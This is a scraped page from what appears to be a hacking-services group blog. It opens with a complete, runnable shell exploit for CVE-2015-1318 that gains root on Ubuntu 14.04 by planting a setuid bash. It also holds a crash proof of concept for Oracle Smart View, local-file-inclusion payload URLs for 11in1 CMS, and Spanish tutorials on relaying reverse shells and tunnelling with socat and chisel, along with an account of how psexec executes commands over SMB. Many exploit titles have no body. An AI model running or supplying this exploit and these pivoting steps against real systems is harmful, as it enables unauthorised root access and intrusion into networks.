#!/bin/sh
#
# CVE-2015-1318
#
# Reference: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758
#
# Example:
#
# % uname -a
# Linux maggie 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
#
# % lsb_release -a
# No LSB modules are available.
# Distributor ID: Ubuntu
# Description: Ubuntu 14.04.2 LTS
# Release: 14.04
# Codename: trusty
#
# % dpkg -l | grep '^ii apport ' | awk -F ' ' '{ print $2 " " $3 }'
# apport 2.14.1-0ubuntu3.8
#
# % id
# uid=1000(ricardo) gid=1000(ricardo) groups=1000(ricardo) (...)
#
# % ./apport.sh
# pwned-4.3# id
# uid=1000(ricardo) gid=1000(ricardo) euid=0(root) groups=0(root) (...)
# pwned-4.3# exit
TEMPDIR=$(mktemp -d)
cd ${TEMPDIR}
cp /bin/busybox .
mkdir -p dev mnt usr/share/apport
(
cat << EOF
#!/busybox sh
(
cp /mnt/1/root/bin/bash /mnt/1/root/tmp/pwned
chmod 5755 /mnt/1/root/tmp/pwned
)
EOF
) > usr/share/apport/apport
chmod +x usr/share/apport/apport
(
cat << EOF
mount -o bind . .
cd .
mount --rbind /proc mnt
touch dev/null
pivot_root . .
./busybox sleep 500 &
SLEEP=\$!
./busybox sleep 1
./busybox kill -11 \$SLEEP
./busybox sleep 5
EOF
) | lxc-usernsexec -m u:0:$(id -u):1 -m g:0:$(id -g):1 2>&1 >/dev/null -- \
lxc-unshare -s "MOUNT|PID|NETWORK|UTSNAME|IPC" -- /bin/sh 2>&1 >/dev/null
/tmp/pwned -p
rm -Rf ${TEMPDIR}
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863135864
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: Buffer Overflow in Oracle� Hyperion Smart View for Office
[DOS]
# Exploit Author: sajith
# Vendor Homepage: http://oracle.com
# vulnerable Version: Fusion Edition 11.1.2.3.000 Build 157
#Vulnerable Link:
http://www.oracle.com/technetwork/middleware/smart-view-for-office/downloads/index.html
# Tested in: Microsoft Windows 7 Enterprise 6.1.7601 Service Pack 1
[x64],en-us
#plugin tested with Microsoft Excel 2010
#CVE: CVE-2015-2572
Responsible Disclosure:
Reported to Oracle on Jul 7, 2014
patch released on April 14, 2015
How to reproduce the bug?
1)install "Smart view" and open Microsoft excel and click on "smart view"
tab
2)click on "Options" and then click on "Advanced" tab
3) In General menu in "shared Connections URL" enter large value say 50000
"A"'s and press ok, the application crashes, the output of the crash
analyzed in debugger is shown below
Note:Plugin once installed automatically integrates with Microsoft office
products like,excel,Word,PowerPoint,Microsoft office.so the vulnerability
can be exploited via any of these products.
==================python script to create 50000 "A"'s============
try:
print "POC by sajith shetty"
f = open("text.txt","w")
junk = "A" * 50000
f.write(junk)
print "done"
except Exception, e:
print "error- " + str(e)
Debugger o/p:
eax=00410061 ebx=0041005d ecx=00410041 edx=00000000 esi=00410061
edi=0041005d
eip=779622d2 esp=0040b7f8 ebp=0040b80c iopl=0 nv up ei pl nz na pe
nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b
efl=00010206
ntdll!RtlEnterCriticalSection+0x12:
779622d2 f00fba3000 lock btr dword ptr [eax],0
ds:002b:00410061=????????
caused by MODULE_NAME: HsAddin
start end module name
0fb50000 111a0000 HsAddin (export symbols)
C:\Oracle\SmartView\bin\HsAddin.dll
Loaded symbol image file: C:\Oracle\SmartView\bin\HsAddin.dll
Image path: C:\Oracle\SmartView\bin\HsAddin.dll
Image name: HsAddin.dll
Timestamp: Wed Mar 27 04:27:50 2013 (515227EE)
CheckSum: 0163F951
ImageSize: 01650000
File version: 11.1.2.3085
Product version: 11.1.2.3085
File flags: 0 (Mask 3F)
File OS: 4 Unknown Win32
File type: 2.0 Dll
File date: 00000000.00000000
Translations: 0409.04b0
CompanyName: Oracle Corporation
ProductName: Oracle� Hyperion Smart View for Office, Fusion Edition
InternalName: CommonAddin
ProductVersion: 11.1.2.3.000.157
FileVersion: 11.1.2.3085
FileDescription: Oracle� Hyperion Smart View for Office, Fusion Edition
LegalCopyright: Copyright 2004, 2013 Oracle Corporation. All rights
reserved
LegalTrademarks: Oracle� is registered.
source: https://www.securityfocus.com/bid/52025/info
11in1 is prone to a cross-site request-forgery and a local file include vulnerability.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application.
11in1 1.2.1 is vulnerable; other versions may also be affected.
http://www.example.com/index.php?class=../../../tmp/file%00
source: https://www.securityfocus.com/bid/52025/info
11in1 is prone to a cross-site request-forgery and a local file include vulnerability.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application.
11in1 1.2.1 is vulnerable; other versions may also be affected.
http://www.example.com/admin/index.php?class=../../../tmp/file%00

11in1 CMS 1.2.1 - Cross-Site Request Forgery (Admin Password)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Pivoting con Socat
HACKER · %s · %s
Índice:
Introducción Redirecciones
Introducción
Socat es una herramienta para sistemas Linux, aunque también tiene ciertos binarios para Windows, pero no son muy comunes, de todas formas para descargar ambos binarios los links son los siguientes:
Linux (32 y 64 Bits) Windows (64 Bits) La estructura de socat es muy sencilla, sin embargo la sintaxis puede parecer compleja al principio:
socat [opciones] <dirección origen> <dirección destino>
La sintaxis para las direcciones es:
<protocolo>:<ip>:<puerto>
El «laboratorio» en el que vamos a ver su funcionamiento es el siguiente:
4 EquiposKali –> Mi equipo de atacanteIP: 192.168.10.10 Windows 7 de 64 BitsIP: 192.168.10.40 y 192.168.20.40 –> 2 Interfaces de Red Debian 1IP: 192.168.20.20 y 192.168.30.10 –> 2 Interfaces de Red Debian 2IP: 192.168.30.20
Redirecciones
Para practicar y ver como hacer redirecciones vamos a intentar enviarnos una Reverse Shell desde el Debian 2 (192.168.30.20) y Kali (192.168.10.10):
Primero nos ponemos en escucha desde nuestro kali, para tenerlo desde un principio listo:
Siguiendo el diagrama, la máquina con la que Kali tiene comunicación es el Windows 7, por lo que preparamos socat en esta máquina:
socat tcp-l:443,fork,reuseaddr tcp:192.168.10.10.443
Vamos a explicar el comando:
tcp-l:443 –> TCP-L es la abreviatura de TCP-LISTEN, escribiendo TCP-L:<puerto> nos ponemos en escucha desde ese puerto. fork –> Indicamos que socat pueda aceptar más de una conexión. reuseaddr –> permite reutilizar el puerto después de la finalización del programa fork y reuseaddr se suelen usar siempre que nos pongamos en escucha con socat.
tcp:192.168.10.10:443 –> recordando que socat maneja una estructura de <origen> <destino>, en este caso estamos indicando que el destino es el puerto 443 de la dirección 192.168.10.10. Conociendo los argumentos del comando usado a nivel conceptual básicamente estamos diciendo que todo lo que reciba el equipo Windows por el puerto 443 lo envíe al puerto 443 del Kali, que es donde estamos en escucha.
Con esto listo, vamos a la máquina con la que Windows tiene comunicación (además del Kali), allí, también vamos a ejecutar socat usando el mismo concepto:
El comando al fin y al cabo es el mismo, todo lo que reciba el Debian por el puerto 443, lo mandaré al puerto 443 del equipo Windows. Donde el equipo Windows todo lo que reciba lo mandará al puerto 443 del Kali. De esta forma, y con todo esta estructura ya montada, si desde el Debian 2 nos enviamos una Shell al puerto 443 del Debian 1, obtendremos la Reverse Shell en el kali:
Si nos damos cuenta, obtenemos la conexión desde la IP del Windows, todo gracias a las redirecciones. Además, la Shell es totalmente funcional:
Esto es un ejemplo de redirecciones para que nos llegue una Reverse Shell, sin embargo, también podemos usar socat para por ejemplo, redirecciones internas. Es decir, imaginémonos la situación donde yo tengo un servidor web corriendo en mi kali, pero solo accesible de forma interna, podría tunelizarlo a otro puerto usando socat:
Desde el Windows el Servidor Web de mi Kali no es accesible:
Pero dentro de nuestro kali podemos hacer una redirección:
De esta forma, estamos abriendo el puerto 8080 poniéndonos en escucha, y todo lo que recibamos desde este puerto, lo redirigimos a nuestro puerto 80 local.
Con esto, si intentamos desde el Windows acceder al 8080:
Vemos que podemos acceder al servidor 80, el cual a pesar de solo estar abierto de forma interna, podemos acceder a él.
Hasta ahora la dirección IP no ha cambiado, siempre ha sido 127.0.0.1 cuando hemos apuntado a algún sitio, sin embargo, socat nos permite colocar cualquier IP.
Ejemplo:
De esta forma le estamos diciendo que además de ponernos en escucha en el puerto 777, todo lo que se reciba a este puerto, se mande al puerto 80 del Kali (ahora está accesible), donde está el servidor web:
Y vemos que accedemos sin problemas desde el puerto 777 local.
Y hasta aquí las funcionalidades de socat que nos puede ser muy útil para pivoting. Socat es una gran y compleja herramienta, aquí solo hemos visto la parte enfocada a redireccionamiento de conexiones. Veremos más cositas en otros posts. Y conforme aprenda más sobre Pivoting con Socat, también se irá agregando.
- Read more...
- 0 comments
- 1 view

ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

MediaSuite CMS - Artibary File Disclosure
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

WordPress Plugin Reflex Gallery - Arbitrary File Upload (Metasploit)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

ADB - Backup Archive File Overwrite Directory Traversal
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

Wolf CMS 0.8.2 - Arbitrary File Upload
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

PHP 5.3.8 - Remote Denial of Service
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

WordPress Plugin Tune Library 1.5.4 - SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

¿Por qué se pueden ejecutar comandos a través de SMB?
HACKER · %s · %s
En todas estas ocasiones dependemos de dos cosas:
Como ya se ha comentado, que la cuenta tenga privilegios en la máquina Que esté el puerto 445 abierto, es decir, SMB Si se cumplen estos dos requisitos, se hace lo de siempre:
¡Y estamos dentro!
Pero claro, siendo SMB un protocolo para compartir archivos, impresoras, etc en una red, normalmente, de dispositivos windows, ¿como se consigue ejecutar comandos?
Como tal, para hacernos una idea podemos fijarnos en el output que nos deja psexec:
Según esto, los pasos son los siguientes:
Solicitamos los recursos compartidos Encontramos un recurso compartido escribible, ADMIN$ en este caso Subimos el archivo ‘wJvVBmZT.exe’ Abrimos el SVCManager (Administrador de Control de Servicios de Windows) Creamos el servicio ‘rarj’ Iniciamos el servicio ‘rarj’ Tomando esto como referencia, vamos a verlo en detalle.
Primeramente, para establecer la conexión SMB se lleva a cabo el siguiente procedimiento:
Una vez establecida la conexión, se hace la petición para listar los recursos compartidos. Se hace con la intención de encontrar algun recurso que sea escribible (si no hay ninguno con capacidad de escritura no podremos hacer nada).
Cuando ya tenemos la conexión establecida y un recurso donde podamos escribir. La idea es subir el archivo que originalmente se llama PSEXECVC.exe, obviamente si se sube con este nombre es un poco sospechoso, por lo que se le renombra a un nombre totalmente aleatorio, como es en este caso, ‘wJvVBmZT.exe‘.
Este archivo se sube al recurso compartido ADMIN$ (un recurso administrativo en este caso), el cual corresponde con la ruta C:\Windows. Este paso ya requiere de una cuenta privilegiada, por lo que ya podemos ir entendiendo el porqué se requiere de una cuenta de este tipo para ejecutar comandos (no es la única acción que requiere de estos privilegios)
Una vez subido, hay que editar los registros en el servidor remoto, para que el servicio sea instalado. Para poder hacer esto y los siguientes pasos, hay que dejar claro un par de conceptos, MSRPC y Named Pipes (puede que éste último te suene de su uso en la explotación del Eternal Blue).
MSRPC (Microsoft Remote Procedure Call – Versión modificada de su antecesor, DCE/RPC) es un protocolo usado para crear un modelo cliente/servidor, se implantó en Windows NT (una de las primeras versiones de Windows), con el tiempo, se extendió llegando a que dominios enteros de Windows Server se basasen en este protocolo.
MSRPC es un marco de comunicación entre procesos, y permite provocar que se ejecute un procedimiento/subrutina en otro equipo de una red. Desde el punto de vista del equipo de la red, se ejecuta como si se ejecutara en local.
Para cualquier solicitud de MSRPC se establece una comunicación previa por SMB:
Por lo que a MSRPC se le añade la capa de seguridad propia de SMB.
Dejando claro esto, tenemos que quedarnos con que MSRPC es un protocolo que sirve para ejecutar procedimientos/subrutinas en otros equipos. Se ejecuta de forma distinta dependiendo de la situación:
Como vemos, por SMB, para que MSRPC pueda llevar a cabo sus acciones, hace uso de los Named Pipes, y es aquí donde lo vamos a introducir ya que es el segundo concepto que nos interesa.
Los named pipes (tuberias con nombre) son una conexión lógica, similar a una conexión TCP, entre un cliente y un servidor que participan ya sea en una conexión CIFS (Common Internet File System) o SMB (version 1, 2 o 3).
El nombre del pipe sirve como punto final al igual que lo sirve un puerto en una conexión TCP, por ello, se le puede denominar named pipe end point.
Muchos protocolos se basan en los named pipes, ya sea directa o indirectamente a través de MSRPCE (MSRPC Extensions). La ventaja de usarlos, es que aislan totalmente el protocolo usado en la capa superior, del transporte elegido (imagen superior), conllevando también el uso de los protocolos de autenticación (añadiendo la capa de seguridad de estos).
Los clientes SMB acceden a los Named Pipe End Point utilizando el recurso compartido «IPC$». Este recurso solo permite operaciones de named pipes y peticiones del servicio de archivos distribuido (Distributed File System – DFS) de Microsoft.
Con todo esto, volviendo al tema, se crea las entradas de registros correspondientes en el servidor para la creación e instalación del servicio que ejecute el archivo exe subido. Si nos fijamos en la imagen de psexec:
Podemos ver como a la hora de crear el servicio, también se crea con un nombre aleatorio, al igual que el archivo exe. Esto de cara a no llamar tanto la atención si el usuario listase los servicios de la máquina.
Posteriormente, se inicia el servicio. El servicio iniciado puede usar cualquier protocolo de red para recibir y ejecutar comandos.
Cuando finaliza, el servicio puede ser desinstalado (removiendo las entradas de registros y eliminando el archivo exe)
Todas estas acciones de crear servicio, iniciarlo, eliminarlo, se consiguen gracias al uso de MSRPC, el cual hace también uso de los Named Pipes. Además, estas acciones requieren de acceso privilegiado, por ello el famoso Pwn3d! de CrackMapExec cuando se hace uso de una cuenta privilegiada, lo que hace CME es confirmar que todo este proceso se puede llevar a cabo gracias a los privilegios de la cuenta.
Entonces, en resumen:
Se copia el archivo exe malicioso al servidor SMB Se crean los registros correspondientes para la creación e instalación del servicio que ejecute el archivo exe Se inicia el servicio, ejecutando así, el exe Cuando acabamos, el servicio es desinstalado, removiendo sus respectivas entradas y el propio archivo exe MSRPC y Named Pipes se ven implicados en los puntos 2, 3 y 4.
Y es a través de todo este procedimiento que a partir de lo que a primera vista SMB parece, un protocolo de compartir archivos, dispositivos etc. Podemos ejecutar comandos de sistema.
- Read more...
- 0 comments
- 2 views

Pivoting con Chisel
HACKER · %s · %s
Índice
Introducción Local Port Forwarding Remote Port Forwarding Dynamic Port Forwarding
Introducción
Se puede descargar desde su Repositorio Oficial. Ahí podemos encontrar los diferentes paquetes para los distintos sistemas, tanto Windows como Linux:
En este caso el «laboratorio» es el siguiente:
3 EquiposKali –> Mi equipo de atacanteIP: 192.168.10.10 Windows 7 de 32 BitsIP: 192.168.10.30 y 192.168.20.30 –> 2 Interfaces de Red Debian –> Servidor Web y SSH – Puerto 22 y 80 activadosIP: 192.168.20.20 y 192.168.30.10 –> 2 Interfaces de Red (aunque la segunda para este post es irrelevante) Como Chisel también es una herramienta que sirve en Windows, vamos a mezclar ambos sistemas, ya que es totalmente compatible.
Primero de todo descargamos las versiones correspondientes de chisel tanto para la máquina Kali como para la máquina Windows, ya que Chisel funciona mediante una arquitectura cliente-servidor. Una vez descargado nos aseguramos de que funcione:
Una vez tenemos todo listo, vamos a ver las posibilidades que nos ofrece Chisel. Realmente, con esta herramienta podemos simular y hacer todos los forwardings que SSH puede, es decir:
Local Port Forwarding Remote Port Forwarding Dynamic Port Forwarding Y todo sin la necesidad de SSH, lo que nos permite prácticamente poder usar Chisel en casi cualquier situación de forma que no dependamos de este protocolo. Además, de forma conceptual, todos los forwardings funcionan de la misma forma que en SSH.
Local Port Forwarding
Sabiendo que la arquitectura es cliente-servidor, y que estamos ante el Local Port Forwarding, tenemos que establecer el servidor, en este caso, en la máquina Windows. Para ello, la sintaxis es bastante sencilla:
chisel server -p <puerto>
Tenemos que establecer un puerto el cual será donde chisel funcione y el cliente posteriormente se conecte, por lo que conociendo esto, yo voy a establecer el servidor en el puerto 1234:
Con esto establecido, ahora solo tenemos que ir a nuestro Kali para que se conecte como cliente, la sintaxis en este caso es un poquito mas compleja ya que le tenemos que especificar a que IP y puerto queremos llegar:
chisel client <dirección servidor chisel>:<puerto servidor chisel> <puerto local a abrir>:<dirección a donde apuntar>:<puerto a apuntar de la direccion donde se apunta>
En este caso:
Como vemos, chisel nos indica que nos hemos conseguido conectar, si no fuese ésto, se comportaría de la siguiente forma:
Pero en este caso, nos conectamos sin problemas. Con esto, ya solo tenemos que ir al puerto local que hemos abierto, en este caso el 80, el que supuestamente está apuntando al puerto 80 de la 192.168.20.20 (el servidor web vaya):
Como vemos, llegamos sin problemas.
Chisel también permite tunelizar varios puertos al mismo tiempo, siendo la sintaxis de esta forma:
A = chisel client <dirección servidor chisel>:<puerto servidor chisel>
B = <puerto local a abrir>:<dirección a donde apuntar>:<puerto a apuntar de la direccion donde se apunta>
La sintaxis para tunelizar varios puertos seria entonces la siguiente:
A + B + B + B + B… etc…
Ejemplo:
Además del puerto 80, estamos tunelizando el puerto 22 (SSH), por lo que:
Vemos que nos conectamos a la máquina que hemos especificado.
Remote Port Forwarding
Al contrario que en el Local Port Forwarding, en el Remote Port Forwarding, el servidor se coloca en el Kali, mientras que el cliente sería el Windows.
La sintaxis tanto para el cliente como para el servidor tiene algunas variaciones, en este caso, los comandos serían:
Servidor –> Kali chisel server -p <puerto> --reverse
Cliente –> Windows chisel client <dirección servidor chisel>:<puerto servidor chisel> R:<puerto a abrir en el servidor de chisel>:<dirección a donde apuntar>:<puerto a apuntar de la direccion donde se apunta>
Sabiendo esto, establecemos el servidor en nuestro kali:
Con esto, nos conectamos desde el Windows a nuestra máquina Kali:
Si miramos ahora nuestro Kali podemos ver como se ha conectado correctamente:
De esta forma, analizando y trayendo el comando ejecutado en el cliente:
chisel client 192.168.10.10:1234 R:80:192.168.20.20:80
Deberíamos en nuestro kali desde nuestro puerto 80, poder acceder al puerto 80 de la 192.168.20.20 (el Servidor Web):
Como vemos llegamos sin problemas.
Al igual que en el Local Port Forwarding, podemos tunelizar varios puertos con la misma conexión de Chisel, se haría de la misma forma:
A = chisel client <dirección servidor chisel>:<puerto servidor chisel>
B = R:<puerto a abrir en el servidor de chisel>:<dirección a donde apuntar>:<puerto a apuntar de la direccion donde se apunta>
La sintaxis para tunelizar varios puertos seria entonces la siguiente:
A + B + B + B + B… etc…
Ejemplo:
De esta forma, podemos acceder no solo puerto 80 de la máquina, sino también al puerto 22:
Vemos que funciona perfectamente.
Dynamic Port Forwarding
Con el Dynamic Port Forwarding podemos tunelizar todos los puertos, creando un proxy SOCKS. El funcionamiento y uso es exactamente el mismo que el proxy de SSH.
Chisel nos permite tanto crear un Forward Proxy como un Reverse Proxy. A nivel de uso, se suele usar mas el Reverse Proxy, por la misma razón que las Reverse Shells son mas famosas que las Bind Shells. Hablando de forma genérica, un Reverse Proxy o una Reverse Shell te dará menos problemas en cuanto a firewalls que las otras dos opciones (Forward y Bind). En cualquier caso, sea el que sea el proxy que escojas, ambos harán su cometido.
Para cada uno, la sintaxis es un poco distinta:
Forward ProxyServidor –> Windowschisel server -p <puerto> --socks5 Cliente –> Kalichisel client <dirección servidor chisel>:<puerto servidor chisel> <puerto que actuará como proxy>:socks Reverse ProxyServidor –> Kalichisel server -p <puerto> --reverse Cliente –> Windowschisel client <dirección servidor chisel>:<puerto servidor chisel> R:<puerto que actuará como proxy>:socks Vamos a ver ambos de forma práctica, pero antes, configuramos el firefox para que tire contra el puerto 1080, que será el puerto donde en cada caso de cada proxy funcionará éste (para que no tengamos que cambiarlo).
Con esto listo, vamos a empezar.
Forward Proxy De esta forma, si intentamos acceder a la IP 192.168.20.20 en Firefox:
Vemos que accedemos.
Reverse Proxy: De esta forma, si intentamos de nuevo acceder al Servidor Web:
Seguimos llegando sin problemas.
En este caso, solo estamos usando el proxy para firefox, pero se puede usar para otros programas o comandos. Para ello, podemos hacer uso de Proxychains, el cual aprovechará este proxy SOCKS creado para tramitar todo el tráfico. Esto se puede ver con mayor detalle en el post de Pivoting con Proxychains.
- Read more...
- 0 comments
- 1 view

WordPress Plugin Community Events 1.3.5 - SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

WordPress Plugin Work The Flow - Arbitrary File Upload (Metasploit)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Open-Letters - Remote PHP Code Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Apple Mac OSX - Local Denial of Service
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

LEPTON 1.1.3 - Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view